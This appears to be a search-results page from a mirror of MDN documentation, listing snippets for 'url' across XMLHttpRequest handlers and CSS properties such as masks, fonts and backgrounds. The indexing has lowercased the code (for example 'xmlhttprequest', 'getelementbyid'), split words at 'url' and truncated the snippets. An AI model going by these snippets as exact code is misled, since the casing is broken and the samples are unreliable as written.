url = 'https://developer.mozilla.org/'; xmlhttp.open(method,
url, true); xmlhttp.onabort = function () { console.log('** the request was aborted'); }; xmlhttp.send(); //..
XMLHttpRequestEventTarget.onerror - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get',
url = 'https://developer.mozilla.org/'; xmlhttp.open(method,
url, true); xmlhttp.onerror = function () { console.log("** an error occurred during the transaction"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onload - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get',
url = 'https://developer.mozilla.org/'; xmlhttp.open(method,
url, true); xmlhttp.onload = function () { // do something with the retrieved data ( found in xmlhttp.response ) }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onloadstart - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get',
url = 'https://developer.mozilla.org/'; xmlhttp.open(method,
url, true); xmlhttp.onloadstart = function () { console.log("download underway"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onprogress - Web APIs
xmlhttprequest.onprogress = function (event) { event.loaded; event.total; }; example var xmlhttp = new xmlhttprequest(), method = 'get',
url = 'https://developer.mozilla.org/'; xmlhttp.open(method,
url, true); xmlhttp.onprogress = function () { //do something }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XRInputSourceArray.length - Web APIs
let sources = xrsession.inputsources; if (sources.length === 0) { showalertdialog("you need to have at least one controller to play super duper shark jump fest 9000.", [ { label: "shop now",
url: "https://www.amazon.com/s?k=vr+controllers" }, { label: "quit" handler: quitgame } ]); } here, if length is 0, a hypothetical showalertdialog() function is called with a prompt string explaining the need for a controller, and an array of objects, each describing a button and what should happen when it's clicked.
ARIA Test Cases - Accessibility
- n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - listbox and option dojo nightly build single select listbox using aria-activedescendant listbox in an iframe -- this is an important case as it's an example of how a mashup widget can be built (the widget source simply comes from another
url, and is tied in using an iframe) yui "carousel" listbox -- a more advanced test case expected at behavior: (mz) screen reader should announce the label and role of the listbox when it gains focus.
-moz-image-region - CSS: Cascading Style Sheets
it will not work with xul <image src="
url" />.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples clipping an image #example-button { /* display only the 4x4 area from the top left of this image */ list-style-image:
url("chrome://example/skin/example.png"); -moz-image-region: rect(0px, 4px, 4px, 0px); } #example-button:hover { ...
-webkit-mask-attachment - CSS: Cascading Style Sheets
formal definition initial valuescrollapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <attachment>#where <attachment> = scroll | fixed | local examples fixing a mask image to the viewport body { -webkit-mask-image:
url('images/mask.png'); -webkit-mask-attachment: fixed; } specifications not part of any standard.
-webkit-mask-box-image - CSS: Cascading Style Sheets
examples setting an image .exampleone { -webkit-mask-box-image:
url('mask.png'); } offsetting and filling an image .exampletwo { -webkit-mask-box-image:
url('logo.png') 100 100 0 0 round round; } specifications not part of any standard.
-webkit-mask-composite - CSS: Cascading Style Sheets
formal definition initial valuesource-overapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <composite-style>#where <composite-style> = clear | copy | source-over | source-in | source-out | source-atop | destination-over | destination-in | destination-out | destination-atop | xor examples compositing with xor .example { -webkit-mask-image:
url(mask1.png),
url('mask2.png'); -webkit-mask-composite: xor, source-over; } specifications not part of any standard.
-webkit-mask-position-x - CSS: Cascading Style Sheets
definition initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax [ <length-percentage> | left | center | right ]#where <length-percentage> = <length> | <percentage> examples horizontally positioning a mask image .exampleone { -webkit-mask-image:
url(mask.png); -webkit-mask-position-x: right; } .exampletwo { -webkit-mask-image:
url(mask.png); -webkit-mask-position-x: 25%; } specifications not part of any standard.
-webkit-mask-position-y - CSS: Cascading Style Sheets
l definition initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax [ <length-percentage> | top | center | bottom ]#where <length-percentage> = <length> | <percentage> examples vertically positioning a mask image .exampleone { -webkit-mask-image:
url(mask.png); -webkit-mask-position-y: bottom; } .exampletwo { -webkit-mask-image:
url(mask.png); -webkit-mask-position-y: 25%; } specifications not part of any standard.
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
formal definition initial valuerepeatapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image:
url('mask.png'); -webkit-mask-repeat-x: repeat; } .exampletwo { -webkit-mask-image:
url('mask.png'); -webkit-mask-repeat-x: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image:
url('mask1.png'),
url('mask2.png'); -webkit-mask-repeat-x: repeat, space; } each image is matched wit...
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
formal definition initial valuerepeatapplies toall elementsinheritednocomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image:
url('mask.png'); -webkit-mask-repeat-y: repeat; } .exampletwo { -webkit-mask-image:
url('mask.png'); -webkit-mask-repeat-y: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image:
url('mask1.png'),
url('mask2.png'); -webkit-mask-repeat-y: repeat, space; } each image is matched wit...
:-moz-loading - CSS: Cascading Style Sheets
syntax :-moz-loading examples setting a background for images that are loading :-moz-loading { background-color: #aaa; background-image:
url(loading-animation.gif) center no-repeat; } specifications not part of any standard.
:enabled - CSS: Cascading Style Sheets
html <form action="
url_of_form"> <label for="firstfield">first field (enabled):</label> <input type="text" id="firstfield" value="lorem"><br> <label for="secondfield">second field (disabled):</label> <input type="text" id="secondfield" value="ipsum" disabled="disabled"><br> <input type="button" value="submit"> </form> css input:enabled { color: #2b2; } input:disabled { color: #aaa; } result spec...
:invalid - CSS: Cascading Style Sheets
html <form> <div class="field"> <label for="
url_input">enter a
url:</label> <input type="
url" id="
url_input"> </div> <div class="field"> <label for="email_input">enter an email address:</label> <input type="email" id="email_input" required> </div> </form> css label { display: block; margin: 1px; padding: 1px; } .field { margin: 1px; padding: 1px; } input:invalid { background-color: #ffdddd; } form:invalid { ...
@counter-style - CSS: Cascading Style Sheets
@counter-style winners-list { system: fixed; symbols:
url(gold-medal.svg)
url(silver-medal.svg)
url(bronze-medal.svg); suffix: " "; } additive-symbols while the symbols specified in the symbols descriptor is used for constructing marker representation by most algorithms, some systems such as 'additive' rely on additive tuples described in this descriptor.
font-display - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valueautocomputed valueas specified formal syntax [ auto | block | swap | fallback | optional ] examples specifying fallback font-display @font-face { font-family: examplefont; src:
url(/path/to/fonts/examplefont.woff) format('woff'),
url(/path/to/fonts/examplefont.eot) format('eot'); font-weight: 400; font-style: normal; font-display: fallback; } specifications specification status comment css fonts module level 4the definition of 'font-display' in that specification.
font-family - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valuen/a (required)computed valueas specified formal syntax <family-name>where <family-name> = <string> | <custom-ident>+ examples setting the font family name @font-face { font-family: examplefont; src:
url('examplefont.ttf'); } specifications specification status comment css fonts module level 3the definition of 'font-family' in that specification.
font-stretch - CSS: Cascading Style Sheets
@font-face { font-family: "open sans"; src: local("open sans") format("woff2"),
url("/fonts/opensans-regular-webfont.woff") format("woff"); font-stretch: 87.5% 112.5%; } specifications specification status comment css fonts module level 4the definition of 'font-stretch' in that specification.
font-variation-settings - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax normal | [ <string> <number> ]# examples setting font weight and stretch in a @font-face rule @font-face { font-family: 'opentypefont'; src:
url('open_type_font.woff2') format('woff2'); font-weight: normal; font-style: normal; font-variation-settings: 'wght' 400, 'wdth' 300; } specifications specification status comment css fonts module level 4the definition of 'font-variation-settings' in that specification.
font-weight - CSS: Cascading Style Sheets
@font-face { font-family: "open sans"; src: local("open sans") format("woff2"),
url("/fonts/opensans-regular-webfont.woff") format("woff"); font-weight: 400; } specifications specification status comment css fonts module level 4the definition of 'font-weight' in that specification.
-ms-high-contrast - CSS: Cascading Style Sheets
@media screen and (-ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-ms-high-contrast: black-on-white) { div { background-image:
url('image-bw.png'); } } @media screen and (-ms-high-contrast: white-on-black) { div { background-image:
url('image-wb.png'); } } accessibility concerns theming high contrast mode's theme colors come from a limited subset of deprecated css2 system colors.
aspect-ratio - CSS: Cascading Style Sheets
iv> css /* minimum aspect ratio */ @media (min-aspect-ratio: 8/5) { div { background: #9af; /* blue */ } } /* maximum aspect ratio */ @media (max-aspect-ratio: 3/2) { div { background: #9ff; /* cyan */ } } /* exact aspect ratio, put it at the bottom to avoid override*/ @media (aspect-ratio: 1/1) { div { background: #f9a; /* red */ } } _example used iframe and data
url to enable this iframe could resize html <label id="wf" for="w">width:165</label> <input id="w" name="w" type="range" min="100" max="250" step="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239af; } } @media ...
light-level - CSS: Cascading Style Sheets
@media (light-level: normal) { p { background:
url("texture.jpg"); color: #333; } } @media (light-level: dim) { p { background: #222; color: #ccc; } } @media (light-level: washed) { p { background: white; color: black; font-size: 2em; } } specifications specification status comment media queries level 5the definition of 'light-level' in that specification.
prefers-reduced-data - CSS: Cascading Style Sheets
2" as="font" media="(prefers-reduced-data: no-preference)" crossorigin> <link rel="stylesheet" href="style.css"> </head> css @media (prefers-reduced-data: no-preference) { @font-face { font-family: montserrat; font-style: normal; font-weight: 400; font-display: swap; /* latin */ src: local('montserrat regular'), local('montserrat-regular'),
url('fonts/montserrat-regular.woff2') format('woff2'); unicode-range: u+0000-00ff, u+0131, u+0152-0153, u+02bb-02bc, u+02c6, u+02da, u+02dc, u+2000-206f, u+2074, u+20ac, u+2122, u+2191, u+2193, u+2212, u+2215, u+feff, u+fffd; } } body { font-family: montserrat, -apple-system, blinkmacsystemfont, "segoe ui", roboto, helvetica, arial, "microsoft yahei", sans-serif, "apple color emoji", "...
@viewport - CSS: Cascading Style Sheets
@viewport { width: 100vw; /*sets the width of the actual viewport to the device width*/ } note: the use of <meta name="viewport"> tag overrides @viewport syntax the at-rule contains a set of nested descriptors in a css block that is delimited by c
urly braces.
Attribute selectors - CSS: Cascading Style Sheets
examples links css a { color: blue; } /* internal links, beginning with "#" */ a[href^="#"] { background-color: gold; } /* links with "example" anywhere in the
url */ a[href*="example"] { background-color: silver; } /* links with "insensitive" anywhere in the
url, regardless of capitalization */ a[href*="insensitive" i] { color: cyan; } /* links with "case" anywhere in the
url, with matching capitalization */ a[href*="case" s] { color: pink; } /* links that end in ".org" */ a[href$=".org"] { color: red; } /* links that start with "https" and ...
Using multiple backgrounds - CSS: Cascading Style Sheets
example in this example, three backgrounds are stacked: the firefox logo, an image of bubbles, and a linear gradient: html <div class="multi-bg-example"></div> css .multi-bg-example { width: 100%; height: 400px; background-image:
url(https://mdn.mozillademos.org/files/11305/firefox.png),
url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)); background-repeat: no-repeat, no-repeat, no-repeat; background-position: bottom right, left, right; } result (if image does not appear in codepen, click the 'tidy' button...
CSS Basic User Interface - CSS: Cascading Style Sheets
reference properties appearance box-sizing cursor ime-mode nav-down nav-left nav-right nav-up outline outline-width outline-style outline-color outline-offset resize text-overflow user-select guides using
url values for the cursor property explains how a
url can be used with the cursor property to produce custom cursors.
Implementing image sprites in CSS - CSS: Cascading Style Sheets
implementation suppose an image is given to every item with class toolbtn: .toolbtn { background:
url(myfile.png); display: inline-block; height: 20px; width: 20px; } a background position can be added either as two x, y values after the
url()() in the background, or as background-position.
Using CSS gradients - CSS: Cascading Style Sheets
<div class="layered-image"></div> div { width: 300px; height: 150px; } .layered-image { background: linear-gradient(to right, transparent, mistyrose),
url("https://mdn.mozillademos.org/files/15525/critters.png"); } stacked gradients you can even stack gradients with other gradients.
CSS data types - CSS: Cascading Style Sheets
yle> <custom-ident> <dimension> <filter-function> <flex> <frequency> <frequency-percentage> <gradient> <ident> <image> <integer> <length> <length-percentage> <number> <number-percentage> <percentage> <position> <quote> <ratio> <resolution> <shape-box> <shape-radius> <string> <time> <time-percentage> <timing-function> <toggle-value> <transform-function> <type-or-unit> <
url> <
url-modifier> <zero> specifications specification status comment css values and units module level 4 editor's draft css values and units module level 3 candidate recommendation initial definition.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
@media screen and (-ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-ms-high-contrast: black-on-white) { div { background-image:
url('image-bw.png'); } } @media screen and (-ms-high-contrast: white-on-black) { div { background-image:
url('image-wb.png'); } } ...
CSS reference - CSS: Cascading Style Sheets
transformtext-underline-offsettext-underline-position<time><time-percentage><timing-function>top@top-centertouch-actiontransformtransform-box<transform-function>transform-origintransform-styletransitiontransition-delaytransition-durationtransition-propertytransition-timing-functiontranslatetranslate()translate3d()translatex()translatey()translatez()turnuunicode-bidiunicode-range (@font-face)unset<
url>
url()user-zoom (@viewport)v:validvar()vertical-alignvh@viewportviewport-fit (@viewport)visibility:visitedvmaxvminvwwwhite-spacewidowswidthwidth (@viewport)will-changeword-breakword-spacingword-wrapwriting-modexxzz-indexzoom (@viewport)others--* selectors the following are the various selectors, which allow styles to be conditional based on various features of elements within the dom.
Syntax - CSS: Cascading Style Sheets
css declaration blocks declarations are grouped in blocks, that is in a structure delimited by an opening brace, '{' (u+007b left c
urly bracket), and a closing one, '}' (u+007d right c
urly bracket).
background-blend-mode - CSS: Cascading Style Sheets
ion>lighten</option> <option>color-dodge</option> <option>color-burn</option> <option>hard-light</option> <option>soft-light</option> <option>difference</option> <option>exclusion</option> <option>hue</option> <option>saturation</option> <option>color</option> <option>luminosity</option> </select> #div { width: 300px; height: 300px; background:
url('https://mdn.mozillademos.org/files/8543/br.png'),
url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications ...
background-origin - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <box>#where <box> = border-box | padding-box | content-box examples setting background origins .example { border: 10px double; padding: 10px; background:
url('image.jpg'); background-position: center left; background-origin: content-box; } #example2 { border: 4px solid black; padding: 10px; background:
url('image.gif'); background-repeat: no-repeat; background-origin: border-box; } div { background-image:
url('logo.jpg'),
url('mainback.png'); /* applies two images to the background */ background-position: top right, 0px 0px; ba...
background-position-x - CSS: Cascading Style Sheets
html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image:
url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-x' in that specifi...
background-position-y - CSS: Cascading Style Sheets
html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image:
url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-y' in that specifi...
border-image-repeat - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat | round | space ]{1,2} examples repeating border images css #bordered { width: 12rem; margin-bottom: 1rem; padding: 1rem; border: 40px solid; border-image:
url("https://mdn.mozillademos.org/files/4127/border.png") 27; border-image-repeat: stretch; /* can be changed in the live sample */ } html <div id="bordered">you can try out various border repetition rules on me!</div> <select id="repetition"> <option value="stretch">stretch</option> <option value="repeat">repeat</option> <option value="round">round</option> <option value="space">spac...
border-image-slice - CSS: Cascading Style Sheets
tput id="width-output">30px</output> </li> <li> <label for="slice">slide to adjust <code>border-image-slice</code></label> <input type="range" min="10" max="45" id="slice"> <output id="slice-output">30</output> </li> </ul> css .wrapper { width: 400px; height: 300px; } div > div { width: 300px; height: 200px; border-width: 30px; border-style: solid; border-image:
url(https://udn.realityripple.com/samples/56/bb98f533ef.png); border-image-slice: 30; border-image-repeat: round; } li { display: flex; place-content: center; } javascript const widthslider = document.getelementbyid('width'); const sliceslider = document.getelementbyid('slice'); const widthoutput = document.getelementbyid('width-output'); const sliceoutput = document.getelementbyid('slice-...
border-image-width - CSS: Cascading Style Sheets
stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> css p { border: 20px solid; border-image:
url("/static/external/21/214842819586a8dd293c17b38d0fd0e26430146a86dd04294a53ecaeeea7d0e2.png") 30 round; border-image-width: 16px; padding: 40px; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-width' in that specification.
<color> - CSS: Cascading Style Sheets
css level 2 (revision 1) orange #ffa500 css color module level 3 aliceblue #f0f8ff antiquewhite #faebd7 aquamarine #7fffd4 azure #f0ffff beige #f5f5dc bisque #ffe4c4 blanchedalmond #ffebcd blueviolet #8a2be2 brown #a52a2a b
urlywood #deb887 cadetblue #5f9ea0 chartreuse #7fff00 chocolate #d2691e coral #ff7f50 cornflowerblue #6495ed cornsilk #fff8dc crimson #dc143c cyan (synonym of aqua) #00ffff darkblue #00008b darkcyan #008b8b darkgoldenrod ...
empty-cells - CSS: Cascading Style Sheets
formal definition initial valueshowapplies totable-cell elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax show | hide example showing and hiding empty table cells html <table class="table_1"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>c
urly</td> <td></td> </tr> </table> <br> <table class="table_2"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>c
urly</td> <td></td> </tr> </table> css .table_1 { empty-cells: show; } .table_2 { empty-cells: hide; } td, th { border: 1px solid gray; padding: 0.5rem; } result specifications specification status comment css leve...
<filter-function> - CSS: Cascading Style Sheets
ow</option> <option>grayscale</option> <option>hue-rotate</option> <option>invert</option> <option>opacity</option> <option>saturate</option> <option>sepia</option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px; background:
url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.queryselector...
font-optical-sizing - CSS: Cascading Style Sheets
you should see a difference in supporting browsers.</p> @font-face { src:
url('amstelvaralpha-vf.ttf'); font-family:'amstelvar'; font-style: normal; } p { font-size: 36px; font-family: amstelvar; } .no-optical-sizing { font-optical-sizing: none; } note: the font referenced above — which includes optical sizing and is freely-licensed — is good for testing.
font-stretch - CSS: Cascading Style Sheets
elephantine lizard</p> <p class="normal">an elephantine lizard</p> <p class="expanded">an elephantine lizard</p> </div> css /* this example uses the league mono variable font, developed by tyler finck (https://www.tylerfinck.com/) and used here under the terms of the sil open font license, version 1.1: http://scripts.sil.org/cms/scripts/page.php?item_id=ofl_web */ @font-face { src:
url('https://mdn.mozillademos.org/files/16014/leaguemonovariable.ttf'); font-family:'leaguemonovariable'; font-style: normal; font-stretch: 1% 500%; /* required by chrome */ } .container { border: 10px solid #f5f9fa; padding: 0 1rem; font: 1.5rem 'leaguemonovariable', sans-serif; } .condensed { font-stretch: 50%; } .normal { font-stretch: 100%; } .expanded { font-stretch: 200%; ...
font-style - CSS: Cascading Style Sheets
ner"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* amstelvaralpha-vf is created by david berlow (https://github.com/typenetwork/amstelvar) and is used here under the terms of its license: https://github.com/typenetwork/amstelvar/blob/master/ofl.txt */ @font-face { src:
url('https://mdn.mozillademos.org/files/16044/amstelvaralpha-vf.ttf'); font-family:'amstelvaralpha'; font-style: normal; } label { font: 1rem monospace; } .container { max-height: 150px; overflow: scroll; } .sample { font: 2rem 'amstelvaralpha', sans-serif; } html, body { max-height: 100vh; max-width: 100vw; overflow: hidden; } body { display: flex; flex-direction: colum...
font-variant-numeric - CSS: Cascading Style Sheets
setting ordinal numeric forms html <p class="ordinal">1st, 2nd, 3rd, 4th, 5th</p> css /* this example uses the source sans pro opentype font, developed by adobe and used here under the terms of the sil open font license, version 1.1: http://scripts.sil.org/cms/scripts/page.php?item_id=ofl_web */ @font-face { font-family: "source sans pro"; font-style: normal; font-weight: 400; src:
url("https://mdn.mozillademos.org/files/15757/sourcesanspro-regular.otf") format("opentype"); } .ordinal { font-variant-numeric: ordinal; font-family: "source sans pro"; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-numeric' in that specification.
font-weight - CSS: Cascading Style Sheets
="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* mutator sans is created by letterror (https://github.com/letterror/mutatorsans) and is used here under the terms of its license: https://github.com/letterror/mutatorsans/blob/master/license */ @font-face { src:
url('https://mdn.mozillademos.org/files/16011/mutatorsans.ttf'); font-family:'mutatorsans'; font-style: normal; } label { font: 1rem monospace; white-space: nowrap; } .container { max-height: 150px; overflow-y: auto; } .sample { text-transform: uppercase; font: 1.5rem 'mutatorsans', sans-serif; } html, body { max-height: 100vh; max-width: 100vw; overflow: hidden; } body {...
list-style-position - CSS: Cascading Style Sheets
ist item 2-3</li> <li>list item 2-4</li> </ul> <ul class="inside-img">list 3 <li>list item 3-1</li> <li>list item 3-2</li> <li>list item 3-3</li> <li>list item 3-4</li> </ul> css .inside { list-style-position: inside; list-style-type: square; } .outside { list-style-position: outside; list-style-type: circle; } .inside-img { list-style-position: inside; list-style-image:
url("https://mdn.mozillademos.org/files/11979/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-position' in that specification.
list-style - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: list-style-image list-style-position list-style-type syntax /* type */ list-style: square; /* image */ list-style:
url('../img/shape.png'); /* position */ list-style: inside; /* type | position */ list-style: georgian inside; /* type | image | position */ list-style: lower-roman
url('../img/shape.png') outside; /* keyword value */ list-style: none; /* global values */ list-style: inherit; list-style: initial; list-style: unset; the list-style property is specified as one, two, or three keywords in any orde...
mask-clip - CSS: Cascading Style Sheets
mal syntax [ <geometry-box> | no-clip ]#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples clipping a mask to the border box css #masked { width: 100px; height: 100px; background-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image:
url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="clipbox"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</...
mask-composite - CSS: Cascading Style Sheets
n svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <compositing-operator>#where <compositing-operator> = add | subtract | intersect | exclude examples compositing mask layers with addition css #masked { width: 100px; height: 100px; background-color: #8cffa0; mask-image:
url(https://mdn.mozillademos.org/files/12668/mdn.svg),
url(https://mdn.mozillademos.org/files/12676/star.svg); mask-size: 100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <option value="intersect">intersect</option> ...
mask-mode - CSS: Cascading Style Sheets
s toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <masking-mode>#where <masking-mode> = alpha | luminance | match-source examples using alpha mask mode css #masked { width: 227px; height: 200px; background: blue linear-gradient(red, blue); mask-image:
url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-mode: alpha; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="maskmode"> <option value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode = document.getelementbyid("maskmode"); maskmode.addev...
mask-origin - CSS: Cascading Style Sheets
ypediscrete formal syntax <geometry-box>#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples setting mask origin to border-box css #masked { width: 100px; height: 100px; margin: 10px; border: 10px solid blue; background-color: #8cffa0; padding: 10px; mask-image:
url(https://mdn.mozillademos.org/files/12676/star.svg); mask-origin: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option valu...
mask-position - CSS: Cascading Style Sheets
| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting mask position css #wrapper { border: 1px solid black; width: 250px; height: 250px; } #masked { width: 250px; height: 250px; background: blue linear-gradient(red, blue); mask-image:
url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: no-repeat; mask-position: top right; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="wrapper"> <div id="masked"> </div> </div> <select id="maskposition"> <option value="top">top</option> <option value="center">center</option> <option value="bottom">bottom</option> <option value="top...
mask-size - CSS: Cascading Style Sheets
olute lengthsanimation typerepeatable list of simple list of length, percentage, or calc formal syntax <bg-size>#where <bg-size> = [ <length-percentage> | auto ]{1,2} | cover | containwhere <length-percentage> = <length> | <percentage> examples setting mask size as a percentage css #masked { width: 200px; height: 200px; background: blue linear-gradient(red, blue); -webkit-mask-image:
url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-image:
url(https://mdn.mozillademos.org/files/12668/mdn.svg); -webkit-mask-size: 50%; mask-size: 50%; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="masked"> </div> <select id="masksize"> <option value="auto">auto</option> <option value="40% 80%">40% 80%</option> <option value="50%" selected>50...
mix-blend-mode - CSS: Cascading Style Sheets
if; text-align: left; white-space: nowrap; } .note + .row .cell { margin-top: 0; } .container { position: relative; background: linear-gradient(to right, #000 0%, transparent 50%, #fff 100%), linear-gradient(to bottom, #ff0 0%, #f0f 50%, #0ff 100%); width: 150px; height: 150px; margin: 0 auto; } .r { transform-origin: center; transform: rotate(-30deg); fill:
url(#red); } .g { transform-origin: center; transform: rotate(90deg); fill:
url(#green); } .b { transform-origin: center; transform: rotate(210deg); fill:
url(#blue); } .isolate .group { isolation: isolate; } .normal .item { mix-blend-mode: normal; } .multiply .item { mix-blend-mode: multiply; } .screen .item { mix-blend-mode: screen; } .overlay .item { mix-blend-mode...
offset - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: offset-anchor offset-distance offset-path offset-position offset-rotate syntax /* offset position */ offset: auto; offset: 10px 30px; offset: none; /* offset path */ offset: ray(45deg closest-side); offset: path('m 100 100 l 300 100 l 200 300 z'); offset:
url(arc.svg); /* offset path with distance and/or rotation */ offset:
url(circle.svg) 100px; offset:
url(circle.svg) 40%; offset:
url(circle.svg) 30deg; offset:
url(circle.svg) 50px 20deg; /* including offset anchor */ offset: ray(45deg closest-side) / 40px 20px; offset:
url(arc.svg) 2cm / 0.5cm 3cm; offset:
url(arc.svg) 30deg / 50px 100px; formal definition initial valueas each of the propertie...
overflow-wrap - CSS: Cascading Style Sheets
anywhere to prevent overflow, an otherwise unbreakable string of characters — like a long word or
url — may be broken at any point if there are no otherwise-acceptable break points in the line.
Event reference
hashchange hashchangeevent html5 the fragment identifier of the
url has changed (the part of the
url after the #).
Guide to Web APIs - Developer guides
apture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsu
url apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api ...
Audio and Video Delivery - Developer guides
ss(stream) { var recorder = new mediarecorder(stream); var data = []; recorder.ondataavailable = function(e) { data.push(e.data); }; recorder.start(); recorder.onerror = function(e) { throw e.error || new error(e.name); // e.name is ff non-spec } recorder.onstop = function(e) { var audio = document.createelement('audio'); audio.src = window.
url.createobject
url(new blob(data)); } settimeout(function() { rec.stop(); }, 5000); }) .catch(function onerror(error) { console.log(error.message); }); see mediarecorder api for more details.
Rich-Text Editing in Mozilla - Developer guides
